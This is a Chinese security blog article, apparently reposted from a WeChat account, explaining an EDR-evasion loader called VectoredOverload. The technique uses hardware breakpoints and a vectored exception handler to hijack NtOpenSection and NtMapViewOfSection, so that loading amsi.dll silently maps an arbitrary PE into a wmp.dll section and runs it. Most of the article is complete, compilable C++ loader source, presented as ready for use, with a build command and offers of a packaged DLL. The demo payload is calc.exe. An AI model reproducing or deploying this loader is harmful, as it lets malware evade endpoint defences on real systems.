免杀新技术——VectoredOverload详解与实现

admin 2025-12-30 01:12:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解了VectoredOverload免杀技术,通过硬件断点结合VEH机制劫持NtOpenSection与NtMapViewOfSection函数。利用合法wmp.dll作为容器加载恶意PE并重定位,在LoadLibraryW加载amsi.dll时通过异常回调篡改返回句柄与内存地址,从而隐蔽执行恶意代码。文章包含完整原理图解、验证截图及可运行的C++源码,具有较高实战价值。 综合评分: 90 文章分类: 免杀,红队,内网渗透


cover_image

免杀新技术——VectoredOverload详解与实现

原创

小和安全

小和安全

2025年12月29日 16:09 江苏

本文的代码放在文章末尾,已经过笔者修补和测试,可以完整运行(2025.12.29 15:00)后面会同步更新到rust模块,直接调用,公众号后台回复loader获取链接和详细介绍。已经将完整代码上传仓库,并打包成dll,可以直接拿来用,公众号后台回复20251229获取GitHub仓库地址。

概念

硬件断点:简单来说就是在一个内存地址下断点,当CPU访问(读、写、执行)时就会触发这个断点,在这里停住,本质就是一种异常,当触发这个断点时,会触发异常处理机制(VEH)。

异常处理机制(VEH):是一种系统级别的异常处理机制,简单来说就是告诉程序触发异常后怎么做,可以执行我们自定义的函数。

原理

当我们调用loadLibraryW加载一个dll到内存中时,会调用以下两个重要函数:

ZwOpenSection:打开现有节对象的句柄。

ZwMapViewOfSection:将节对象映射到内存中。

(我们在用户态调用时,应该写作NtOpenSection和NtMapViewOfSection)

现在就可以提出我们的思路了:

1.加载一个不常用的wmp.dll到内存中,这样可以得到一块干净的、可覆盖的内存,以及一个指向合法wmp.dll节对象的句柄。

2.用我们的恶意PE文件覆盖这块wmp.dll的内存。

3.利用loadLibraryW加载一个amsi.dll,篡改ZwOpenSection,给它返回指向合法wmp.dll节对象的句柄,再篡改ZwMapViewOfSection给它返回指向恶意PE文件的内存。

4.程序以为加载的是amsi.dll,实际上加载的是wmp.dll,而且它的内容被篡改为我们的恶意PE文件了。

5.我们在程序里面手动调用恶意代码即可,看起来像在调用合法amsi.dll一样。

实现

现在我们就开始一步一步实现了:

1.加载并篡改内存的wmp.dll:

先用CreateFileW打开wmp.dll句柄,再用NtCreateSection创建它的节对象,再用NtMapOfSection将它映射到内存中。

再用VirtualAlloc修改内存属性为可读写,然后调用memset清空它的内存内容,再写入我们的恶意PE文件(这里用calc.exe示例)。

2.修复并重定位恶意PE文件

我们的恶意PE文件(calc.exe)从自己的位置移到了wmp.dll的位置,相对偏移改变了,我们需要修复所有硬编码的地址,并且由于它是exe,我们需要手动修改PE头让它变成一个dll文件,并且将入口点清零,然后手动设置内存属性为可执行。

3.利用loadLibraryW加载一个amsi.dll,篡改ZwOpenSection,给它返回指向合法wmp.dll节对象的句柄,再篡改ZwMapViewOfSection给它返回指向恶意PE文件的内存。

这里的关键是如何篡改ZwOpenSection和ZwMapViewOfSection,直接篡改太显眼容易被EDR检测,我们可以在这两个函数下硬件断点,然后自定义VEH回调函数,这样在执行到ZwOpenSection和ZwMapViewOfSection函数时触发断点,就会跳转到我们的自定义函数执行。

首先篡改ZwOpenSection函数,我们下硬件断点,执行到函数入口时,直接跳到我们的自定义VEH函数,我们直接给它返回wmp.dll的句柄,然后直接跳到ret,从而跳过ZwOpenSection的内部逻辑:

同理,程序执行到ZwCreateMapViewOfSection时,也触发断点直接跳到我们的VEH函数,我们直接给它返回恶意PE文件的地址,然后跳到ret从而跳过它的内部逻辑:

现在我们通过loadLibraryW加载的amsi.dll,其实指向的是内容为恶意PE文件的合法wmp.dll。

4.手动调用恶意PE文件执行

手动跳转到入口点执行即可

验证

我们使用如下代码,验证一下:只加载amsi.dll的时候是什么情况:

#include&nbsp;<Windows.h>#include&nbsp;<stdio.h>
int&nbsp;main(){&nbsp; &nbsp;&nbsp;printf("Before LoadLibraryW...\n");
&nbsp; &nbsp; HMODULE hAmsi =&nbsp;LoadLibraryW(L"amsi.dll");
&nbsp; &nbsp;&nbsp;if&nbsp;(hAmsi)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("amsi.dll loaded at: 0x%p\n", hAmsi);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FreeLibrary(hAmsi);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("Failed to load amsi.dll, error: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;printf("Press Enter to exit...\n");&nbsp; &nbsp;&nbsp;getchar();&nbsp; &nbsp;&nbsp;return&nbsp;0;}

执行之后,我们看一下模块加载情况,可以看到真的加载了amsi.dll

但是我们用本文研究的技术加载一下amsi.dll,实际上我们篡改了NtOpenSection和NtMapViewOfSection,可以看见没有加载amsi.dll

执行成功,成功弹计算器

完整可用源码

#include&nbsp;<Windows.h>#include&nbsp;<stdio.h>#include&nbsp;<tlhelp32.h>#include&nbsp;<winternl.h>#if&nbsp;defined(_WIN32) && !defined(_WIN64)#error&nbsp;This project must be compiled as 64-bit (x64). 32-bit build is not supported.#endif#define&nbsp;CTX_FLAGS (CONTEXT_DEBUG_REGISTERS)#define&nbsp;DR_TYPE &nbsp; UINT64typedef&nbsp;enum&nbsp;_SECTION_INHERIT{&nbsp; &nbsp; ViewShare =&nbsp;1,&nbsp; &nbsp; ViewUnmap =&nbsp;2} SECTION_INHERIT;#pragma&nbsp;comment(lib,&nbsp;"ntdll.lib")EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);enum&nbsp;LdrState{&nbsp; &nbsp; StateOpenSection =&nbsp;0,&nbsp; &nbsp; StateMapViewOfSection,&nbsp; &nbsp; StateClose};LdrState gLdrState = LdrState::StateOpenSection;SIZE_T gViewSize =&nbsp;0;PVOID gBaseAddress =&nbsp;NULL;HANDLE gSectionHandle =&nbsp;NULL;BOOL&nbsp;SetHardwareBreakpoint(const&nbsp;PVOID address, PCONTEXT ctx){&nbsp; &nbsp;&nbsp;if&nbsp;(ctx)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; ctx->Dr7 =&nbsp;1LL;&nbsp; &nbsp; &nbsp; &nbsp; ctx->Dr0 = (DWORD64)address;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NtContinue(ctx, FALSE);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Default to current thread if no context was given&nbsp; &nbsp; &nbsp; &nbsp; CONTEXT context = {&nbsp;0&nbsp;};&nbsp; &nbsp; &nbsp; &nbsp; context.ContextFlags = CTX_FLAGS;&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hThread =&nbsp;GetCurrentThread();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!GetThreadContext(hThread, &context))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;&nbsp; &nbsp; &nbsp; &nbsp; context.Dr7 =&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp; context.Dr0 = (DWORD64)address;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!SetThreadContext(hThread, &context))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}LONG&nbsp;InjectHandler(PEXCEPTION_POINTERS ExceptionInfo){&nbsp; &nbsp;&nbsp;if&nbsp;(ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; CONTEXT* ctx = ExceptionInfo->ContextRecord;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;switch&nbsp;(gLdrState)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;LdrState::StateOpenSection:&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("触发NtOpenSection断点\r\n");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *(PHANDLE)ctx->Rcx = gSectionHandle;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Rax =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BYTE* rip = (BYTE*)ctx->Rip;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(*rip !=&nbsp;0xC3) ++rip;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Rip = (ULONG_PTR)(rip);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gLdrState = LdrState::StateMapViewOfSection;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SetHardwareBreakpoint((PVOID)NtMapViewOfSection, ctx);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NtContinue(ctx, FALSE);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_EXECUTION;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;LdrState::StateMapViewOfSection:&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("触发NtMapViewOfSection断点\r\n");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;((HANDLE)ctx->Rcx != gSectionHandle)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_EXECUTION;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("确认拦截到wmp.dll句柄\r\n");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PVOID* baseAddrPtr = (PVOID*)ctx->R8;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp +&nbsp;0x38);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG* allocTypePtr = (ULONG*)(ctx->Rsp +&nbsp;0x48);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG* protectPtr = (ULONG*)(ctx->Rsp +&nbsp;0x50);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(baseAddrPtr)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *baseAddrPtr = gBaseAddress;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(viewSizePtr)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *viewSizePtr = gViewSize;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *allocTypePtr =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *protectPtr = PAGE_EXECUTE_READWRITE;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Rax =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BYTE* rip = (BYTE*)ctx->Rip;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(*rip !=&nbsp;0xC3) ++rip;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Rip = (ULONG_PTR)(rip);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Dr0 =&nbsp;0LL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Dr1 =&nbsp;0LL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Dr2 =&nbsp;0LL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Dr3 =&nbsp;0LL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Dr6 =&nbsp;0LL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->Dr7 =&nbsp;0LL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx->EFlags |=&nbsp;0x10000u;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NtContinue(ctx, FALSE);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_EXECUTION;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;// 添加默认返回值&nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_SEARCH;}BOOL&nbsp;ApplyRelocations(&nbsp; &nbsp; PBYTE base,&nbsp;&nbsp; &nbsp; SIZE_T imageSize,&nbsp;&nbsp; &nbsp; ULONGLONG newBase,&nbsp;&nbsp; &nbsp; ULONGLONG oldBase){&nbsp; &nbsp; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;&nbsp; &nbsp; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);&nbsp; &nbsp; ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase;&nbsp; &nbsp;&nbsp;if&nbsp;(!delta)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TRUE;&nbsp; &nbsp; IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];&nbsp; &nbsp;&nbsp;if&nbsp;(!relocDir.VirtualAddress || !relocDir.Size)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TRUE;&nbsp; &nbsp; SIZE_T processed =&nbsp;0;&nbsp; &nbsp; PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress);&nbsp; &nbsp;&nbsp;while&nbsp;(processed < relocDir.Size && block->SizeOfBlock)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; DWORD count = (block->SizeOfBlock -&nbsp;sizeof(IMAGE_BASE_RELOCATION)) /&nbsp;sizeof(WORD);&nbsp; &nbsp; &nbsp; &nbsp; WORD* entry = (WORD*)((PBYTE)block +&nbsp;sizeof(IMAGE_BASE_RELOCATION));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(DWORD i =&nbsp;0; i < count; i++, entry++)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WORD type = *entry >>&nbsp;12;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WORD offset = *entry &&nbsp;0xFFF;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BYTE* patchAddr = base + block->VirtualAddress + offset;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(type == IMAGE_REL_BASED_HIGHLOW)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *(DWORD*)patchAddr += (DWORD)delta;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(type == IMAGE_REL_BASED_DIR64)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *(ULONGLONG*)patchAddr += delta;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; processed += block->SizeOfBlock;&nbsp; &nbsp; &nbsp; &nbsp; block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}BOOL&nbsp;CopyImageSections(&nbsp; &nbsp; PBYTE sourceBuffer,&nbsp;&nbsp; &nbsp; PVOID baseAddress,&nbsp;&nbsp; &nbsp; SIZE_T viewSize){&nbsp; &nbsp; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer;&nbsp; &nbsp; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew);&nbsp; &nbsp;&nbsp;// Copy headers&nbsp; &nbsp; SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;&nbsp; &nbsp;&nbsp;memcpy(baseAddress, sourceBuffer, headersSize);&nbsp; &nbsp;&nbsp;// Copy sections&nbsp; &nbsp; PIMAGE_SECTION_HEADER sec =&nbsp;IMAGE_FIRST_SECTION(nt);&nbsp; &nbsp;&nbsp;for&nbsp;(WORD i =&nbsp;0; i < nt->FileHeader.NumberOfSections; i++, sec++)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(sec->SizeOfRawData ==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress;&nbsp; &nbsp; &nbsp; &nbsp; BYTE* src = sourceBuffer + sec->PointerToRawData;&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T size = sec->SizeOfRawData;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;((sec->VirtualAddress + size) > viewSize)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size = viewSize - sec->VirtualAddress;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;memcpy(dst, src, size);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}BOOL&nbsp;ApplySectionProtections(&nbsp; &nbsp; PVOID baseAddress){&nbsp; &nbsp; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress;&nbsp; &nbsp; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew);&nbsp; &nbsp; PIMAGE_SECTION_HEADER sec =&nbsp;IMAGE_FIRST_SECTION(nt);&nbsp; &nbsp;&nbsp;for&nbsp;(WORD i =&nbsp;0; i < nt->FileHeader.NumberOfSections; i++, sec++)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; DWORD protect;&nbsp; &nbsp; &nbsp; &nbsp; DWORD old;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(sec->Characteristics & IMAGE_SCN_MEM_EXECUTE)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(sec->Characteristics & IMAGE_SCN_MEM_WRITE)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; protect = PAGE_EXECUTE_READWRITE;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(sec->Characteristics & IMAGE_SCN_MEM_READ)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; protect = PAGE_EXECUTE_READ;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; protect = PAGE_EXECUTE;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(sec->Characteristics & IMAGE_SCN_MEM_WRITE)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; protect = PAGE_READWRITE;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(sec->Characteristics & IMAGE_SCN_MEM_READ)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; protect = PAGE_READONLY;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; protect = PAGE_NOACCESS;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress;&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T size = sec->Misc.VirtualSize;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!size)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size = sec->SizeOfRawData;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;VirtualProtect(addr, size, protect, &old);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}int&nbsp;main(){&nbsp; &nbsp;&nbsp;printf("\n");&nbsp; &nbsp;&nbsp;printf(" &nbsp;******************************\n");&nbsp; &nbsp;&nbsp;printf(" &nbsp;* &nbsp; &nbsp; &nbsp; &nbsp;小和安全 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *\n");&nbsp; &nbsp;&nbsp;printf(" &nbsp;* &nbsp; &nbsp; &nbsp;Xiaohe Security &nbsp; &nbsp; &nbsp; &nbsp;*\n");&nbsp; &nbsp;&nbsp;printf(" &nbsp;******************************\n");&nbsp; &nbsp;&nbsp;printf("\n");&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; DWORD oldProt;&nbsp; &nbsp; DWORD bytesRead;&nbsp; &nbsp; HANDLE hCalc =&nbsp;CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ,&nbsp;NULL, OPEN_EXISTING,&nbsp;0,&nbsp;NULL);&nbsp; &nbsp;&nbsp;if&nbsp;(hCalc == INVALID_HANDLE_VALUE)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("打开calc.exe文件失败!\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp; DWORD fileSize =&nbsp;GetFileSize(hCalc,&nbsp;NULL);&nbsp; &nbsp; BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(),&nbsp;0, fileSize);&nbsp; &nbsp;&nbsp;ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead,&nbsp;NULL);&nbsp; &nbsp;&nbsp;CloseHandle(hCalc);&nbsp; &nbsp; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf;&nbsp; &nbsp; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew);&nbsp; &nbsp; DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;&nbsp; &nbsp;&nbsp;if&nbsp;(!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL))&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; nt->FileHeader.Characteristics |= IMAGE_FILE_DLL;&nbsp; &nbsp; &nbsp; &nbsp; nt->OptionalHeader.AddressOfEntryPoint =&nbsp;0;&nbsp; &nbsp; }&nbsp; &nbsp; HANDLE hWmp =&nbsp;CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ,&nbsp;0,&nbsp;NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,&nbsp;NULL);&nbsp; &nbsp;&nbsp;if&nbsp;(hWmp == INVALID_HANDLE_VALUE)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("打开wmp.dll文件失败!\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp; NTSTATUS status =&nbsp;NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS,&nbsp;NULL,&nbsp;0, PAGE_READONLY, SEC_IMAGE, hWmp);&nbsp; &nbsp;&nbsp;CloseHandle(hWmp);&nbsp; &nbsp;&nbsp;if&nbsp;(status <&nbsp;0)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("NtCreateSection创建wmp.dll的节对象失败,错误码: 0x%08X\n", status);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp; status =&nbsp;NtMapViewOfSection(gSectionHandle,&nbsp;GetCurrentProcess(), &gBaseAddress,&nbsp;0,&nbsp;0,&nbsp;NULL, &gViewSize, ViewShare,&nbsp;0, PAGE_READWRITE);&nbsp; &nbsp;&nbsp;if&nbsp;(status <&nbsp;0)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("NtMapViewOfSection映射wmp.dll到内存中失败,错误码: 0x%08X\n", status);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);&nbsp; &nbsp;&nbsp;memset(gBaseAddress,&nbsp;0, nt->OptionalHeader.SizeOfImage);&nbsp; &nbsp;&nbsp;CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);&nbsp; &nbsp;&nbsp;HeapFree(GetProcessHeap(),&nbsp;0, pTargetPeBuf);&nbsp; &nbsp;&nbsp;ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);&nbsp; &nbsp;&nbsp;ApplySectionProtections(gBaseAddress);&nbsp; &nbsp;&nbsp;printf("内存基址: %p\n", gBaseAddress);&nbsp; &nbsp;&nbsp;printf("内存区域大小: %zu\n", gViewSize);&nbsp; &nbsp;&nbsp;printf("wmp.dll节对象句柄: %p\n", gSectionHandle);&nbsp; &nbsp; PVOID handler =&nbsp;AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler);&nbsp; &nbsp;&nbsp;SetHardwareBreakpoint((PVOID)NtOpenSection,&nbsp;NULL);&nbsp; &nbsp; HMODULE base =&nbsp;LoadLibraryW(L"amsi.dll");&nbsp; &nbsp;&nbsp;if&nbsp;(!base)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("加载amsi.dll失败\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;printf("加载amsi.dll成功,地址: 0x%llx\r\n", base);&nbsp; &nbsp;&nbsp;if&nbsp;(handler)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;RemoveVectoredExceptionHandler(handler);&nbsp; &nbsp; PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;&nbsp; &nbsp;&nbsp;printf("PE文件入口点: %p\n", entryPoint);&nbsp; &nbsp; ((void&nbsp;(*)())entryPoint)();&nbsp; &nbsp;&nbsp;return&nbsp;0;}

编译命令:

g++ -std=c++17&nbsp;-o VEHoverloading.exe VEHoverloading.cpp -lntdll

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小和安全 小和安全《免杀新技术——VectoredOverload详解与实现》

评论:0   参与:  0